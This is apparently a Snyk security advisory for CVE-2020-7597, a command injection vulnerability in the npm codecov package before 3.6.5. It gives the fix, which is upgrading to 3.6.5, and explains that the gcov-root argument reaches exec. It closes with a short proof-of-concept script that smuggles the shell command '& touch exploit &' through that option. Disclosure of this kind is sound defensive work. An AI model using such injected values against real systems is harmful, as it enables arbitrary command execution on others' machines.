Command Injection Affecting codecov package, versions <3.6.5
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-CODECOV-548879
- published16 Feb 2020
- disclosed16 Feb 2020
- creditJHU System Security Lab
Introduced: 16 Feb 2020
CVE-2020-7597 (opens in a new tab)How to fix?
Upgrade codecov to version 3.6.5 or higher.
Overview
codecov is a npm package for uploading reports to Codecov.
Affected versions of this package are vulnerable to Command Injection. The value provided as part of the gcov-root argument is executed by the exec function within lib/codecov.js. This vulnerability exists due to an incomplete fix of CVE-2020-7596.
PoC by JHU System Security Lab
var root = require("codecov");
var args = {
"options": {
'gcov-root': "& touch exploit &",
'gcov-exec': ' ',
'gcov-args': ' '
}
}
root.handleInput.upload(args, function(){}, function(){});